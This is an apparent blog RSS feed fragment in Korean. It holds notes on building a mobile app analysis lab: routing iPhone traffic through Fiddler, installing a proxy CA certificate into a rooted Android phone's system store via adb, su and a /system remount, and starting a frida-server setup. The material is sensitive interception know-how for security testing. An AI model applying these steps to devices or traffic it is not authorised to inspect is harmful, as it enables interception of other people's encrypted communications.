&lt;li&gt;로컬 노트북 연결(Wireless LAN adapter Wi-Fi: 192.168.1.13)&lt;/li&gt;
&lt;li&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cmkRh6/btsCOBn7QrT/eTIRQkrfkmpyNskgqqJ8xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cmkRh6/btsCOBn7QrT/eTIRQkrfkmpyNskgqqJ8xk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cmkRh6/btsCOBn7QrT/eTIRQkrfkmpyNskgqqJ8xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcmkRh6%2FbtsCOBn7QrT%2FeTIRQkrfkmpyNskgqqJ8xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;456&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;아이폰 와이파이 연결후 프록시 수동으로 192.168.1.13 를 설정해주고 포트를 8887로 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인증서 세팅&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;휴대폰에서 다음 경로로 접근하면 피들러 인증서를 설치할수 있으며 인증서 관리를 통해 설치를 진행한다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;a style=&quot;color: #000000;&quot; href=&quot;http://ipv4.fiddler:8888/&quot; data-token-index=&quot;1&quot;&gt;&lt;span&gt;http://ipv4.fiddler:8887/&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;패킷 확인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;피들러 확포트 설정후 패킷 확인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1131&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9ME5a/btsCN3ZxutA/bnFBU3tRMBtrUjXWuUr8DK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9ME5a/btsCN3ZxutA/bnFBU3tRMBtrUjXWuUr8DK/img.png&quot; data-alt=&quot;fiddler option&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9ME5a/btsCN3ZxutA/bnFBU3tRMBtrUjXWuUr8DK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9ME5a%2FbtsCN3ZxutA%2FbnFBU3tRMBtrUjXWuUr8DK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1131&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1131&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;fiddler option&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱간 네트워크가 연결되었으며 패킷 분석이 가능해졌다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;413&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXnf7d/btsCNZQk2hL/A525VC2mAY4tvs5Q4MAJi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXnf7d/btsCNZQk2hL/A525VC2mAY4tvs5Q4MAJi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXnf7d/btsCNZQk2hL/A525VC2mAY4tvs5Q4MAJi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXnf7d%2FbtsCNZQk2hL%2FA525VC2mAY4tvs5Q4MAJi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;413&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;413&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Android</category>
      <author>우제혁</author>
      <guid isPermaLink="true">https://wpgur.tistory.com/202</guid>
      <comments>https://wpgur.tistory.com/202#entry202comment</comments>
      <pubDate>Thu, 28 Dec 2023 18:04:35 +0900</pubDate>
    </item>
    <item>
      <title>Android 프록시 인증서 세팅</title>
      <link>https://wpgur.tistory.com/201</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;fiddler 인증서 세팅&lt;/h1&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;337&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSHZYe/btsCQpOuGTM/lTSNQ5AXfQgMaZH4CQnPpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSHZYe/btsCQpOuGTM/lTSNQ5AXfQgMaZH4CQnPpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSHZYe/btsCQpOuGTM/lTSNQ5AXfQgMaZH4CQnPpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSHZYe%2FbtsCQpOuGTM%2FlTSNQ5AXfQgMaZH4CQnPpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;337&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;337&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://slproweb.com/products/Win32OpenSSL.html&quot;&gt;openssl&lt;/a&gt;&amp;nbsp;을 통해 DER 을 PEM으로 변경&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;&amp;bull; openssl x509 -inform DER -in cacert.der -out cacert.pem
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;bull; openssl 을 통해 인증서 해시값을 추출한다.&lt;/p&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;openssl x509 -inform PEM -subject_hash_old -in cacert.pem
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vH3q3/btsCG5xvhYX/JKqEiR95qu2H0rVPKPPTB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vH3q3/btsCG5xvhYX/JKqEiR95qu2H0rVPKPPTB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vH3q3/btsCG5xvhYX/JKqEiR95qu2H0rVPKPPTB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvH3q3%2FbtsCG5xvhYX%2FJKqEiR95qu2H0rVPKPPTB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;650&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 안드로이드 앱에서 개발자 모드를 설정해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1333&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lotvx/btsCN8fp0R3/8KKrVB2zcmlykV84PQpKA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lotvx/btsCN8fp0R3/8KKrVB2zcmlykV84PQpKA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lotvx/btsCN8fp0R3/8KKrVB2zcmlykV84PQpKA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flotvx%2FbtsCN8fp0R3%2F8KKrVB2zcmlykV84PQpKA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;1333&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1333&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 연결을 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;513&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AYTVV/btsCMwnmDnF/TtDopBk6Jhv3GgrdP6pqMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AYTVV/btsCMwnmDnF/TtDopBk6Jhv3GgrdP6pqMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AYTVV/btsCMwnmDnF/TtDopBk6Jhv3GgrdP6pqMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAYTVV%2FbtsCMwnmDnF%2FTtDopBk6Jhv3GgrdP6pqMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;513&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;513&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 인증서를 넣어준다.&lt;/p&gt;
&lt;pre class=&quot;maxima&quot;&gt;&lt;code&gt;adb push 269953fb.0 /data/local/tmp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KNPXh/btsCEKf7TF5/KB2KmQ47t1YrHsiHQxxk40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KNPXh/btsCEKf7TF5/KB2KmQ47t1YrHsiHQxxk40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KNPXh/btsCEKf7TF5/KB2KmQ47t1YrHsiHQxxk40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKNPXh%2FbtsCEKf7TF5%2FKB2KmQ47t1YrHsiHQxxk40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;174&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;174&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 adb shell 로 접근한뒤 su로 권한을 준다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;  이때 su가 없다고뜨며 안된다면 루팅이 안된것이다 난 오딘으로 루팅해줬다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;588&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSPqtf/btsCIE7tb4x/AKThzygVlNQSR27JyOr2pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSPqtf/btsCIE7tb4x/AKThzygVlNQSR27JyOr2pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSPqtf/btsCIE7tb4x/AKThzygVlNQSR27JyOr2pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSPqtf%2FbtsCIE7tb4x%2FAKThzygVlNQSR27JyOr2pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;588&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;588&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;mount -o rw,remount /system&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 인증서 파일을 옮겨준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hfy6t/btsCODGiLqg/IOBrfBNswWmbA3oNQfV06k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hfy6t/btsCODGiLqg/IOBrfBNswWmbA3oNQfV06k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hfy6t/btsCODGiLqg/IOBrfBNswWmbA3oNQfV06k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHfy6t%2FbtsCODGiLqg%2FIOBrfBNswWmbA3oNQfV06k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;528&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 /system도 마운트를 다시 해줘야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 fiddler에서 프록시 설정할때 했던 포트를 맞춰준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1276&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bisZrd/btsCG3TYay2/WOiBLnLpMRPeMXZGMUTBjk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bisZrd/btsCG3TYay2/WOiBLnLpMRPeMXZGMUTBjk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bisZrd/btsCG3TYay2/WOiBLnLpMRPeMXZGMUTBjk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbisZrd%2FbtsCG3TYay2%2FWOiBLnLpMRPeMXZGMUTBjk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;1276&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1276&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러고 크롬이나 네이버가 아닌 삼성 브라우져 같은걸로 확인해본다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 재부팅을 해주자!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 fiddler 에서는 계속 오류가 났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blog.naver.com/PostView.naver?blogId=best798&amp;amp;logNo=222144681366&amp;amp;parentCategoryNo=14&amp;amp;categoryNo=&amp;amp;viewDate=&amp;amp;isShowPopularPosts=true&amp;amp;from=search&quot;&gt;https://blog.naver.com/PostView.naver?blogId=best798&amp;amp;logNo=222144681366&amp;amp;parentCategoryNo=14&amp;amp;categoryNo=&amp;amp;viewDate=&amp;amp;isShowPopularPosts=true&amp;amp;from=search&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것도 해줬는데 힘들었다,,,&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://ipv4.fiddler:8888/&quot;&gt;http://ipv4.fiddler:8070/&lt;/a&gt; 이걸로 웹으로 인증서 다운받을 수 있다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;이떄 오류가 발생하거나 패킷이 잡히지 않는다면 burpsuit 인증서로 버프스위트인증서를 사용하자.&lt;br /&gt;&lt;br /&gt;참고&lt;br /&gt;https://core-research-team.github.io/2022-01-01/Tutorial-모바일-취약점-분석-환경-구축하기&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이떄 로컬 프록시 설정은 안해야 핸드폰 패킷만 잡는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;  이때 네트워크 설정&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로컬(노트북) &amp;rarr; 아이폰 핫스팟 연결&lt;/li&gt;
&lt;li&gt;갤7 &amp;rarr; 아이폰 핫스팟 연결&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;491&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjbLAP/btsCIFk7Ha6/jNDdBWPXTJ5dR2DzrKdz21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjbLAP/btsCIFk7Ha6/jNDdBWPXTJ5dR2DzrKdz21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjbLAP/btsCIFk7Ha6/jNDdBWPXTJ5dR2DzrKdz21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjbLAP%2FbtsCIFk7Ha6%2FjNDdBWPXTJ5dR2DzrKdz21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;491&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;491&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프록시 수동으로 저 172.20.10.2로 주고 프록시는 8888 해줬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프 설정&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTJIji/btsCOBBEa86/wMnkrXqQnDKQXWRemprEJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTJIji/btsCOBBEa86/wMnkrXqQnDKQXWRemprEJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTJIji/btsCOBBEa86/wMnkrXqQnDKQXWRemprEJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTJIji%2FbtsCOBBEa86%2FwMnkrXqQnDKQXWRemprEJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;570&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1609&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d2MhJ0/btsCLqgBmrg/Iig4LERDdhsl0kewpze8Uk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d2MhJ0/btsCLqgBmrg/Iig4LERDdhsl0kewpze8Uk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d2MhJ0/btsCLqgBmrg/Iig4LERDdhsl0kewpze8Uk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd2MhJ0%2FbtsCLqgBmrg%2FIig4LERDdhsl0kewpze8Uk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1609&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1609&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Android</category>
      <author>우제혁</author>
      <guid isPermaLink="true">https://wpgur.tistory.com/201</guid>
      <comments>https://wpgur.tistory.com/201#entry201comment</comments>
      <pubDate>Thu, 28 Dec 2023 17:35:38 +0900</pubDate>
    </item>
    <item>
      <title>Android frida server 세팅</title>
      <link>https://wpgur.tistory.com/200</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;프리다 세팅&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. frida-tools python 모듈 설치&lt;/p&gt;
&lt;pre id=&quot;code_1703750628325&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pip install frida-tools&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;frida-server 같은경우 버전이 높으면 frda-ps 에서 오류가 날 수 있어서 12.11.10 버전을 이용했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;403&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BP6sf/btsCN1N7M5M/JPL55zKMZ8PKAIbPizc4e0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BP6sf/btsCN1N7M5M/JPL55zKMZ8PKAIbPizc4e0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BP6sf/btsCN1N7M5M/JPL55zKMZ8PKAIbPizc4e0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBP6sf%2FbtsCN1N7M5M%2FJPL55zKMZ8PKAIbPizc4e0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;403&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;403&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기기종 확인&lt;/p&gt;
&lt;pre id=&quot;code_1703750671830&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;adb shell getprop ro.product.cpu.abi&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치후 버전을확인하고 맞는 버전을 다운받아서 &lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/frida/frida/releases&quot;&gt;https://github.com/frida/frida/releases&lt;/a&gt;​&amp;nbsp; 파일을 adb push로 넣어준다.&lt;/p&gt;
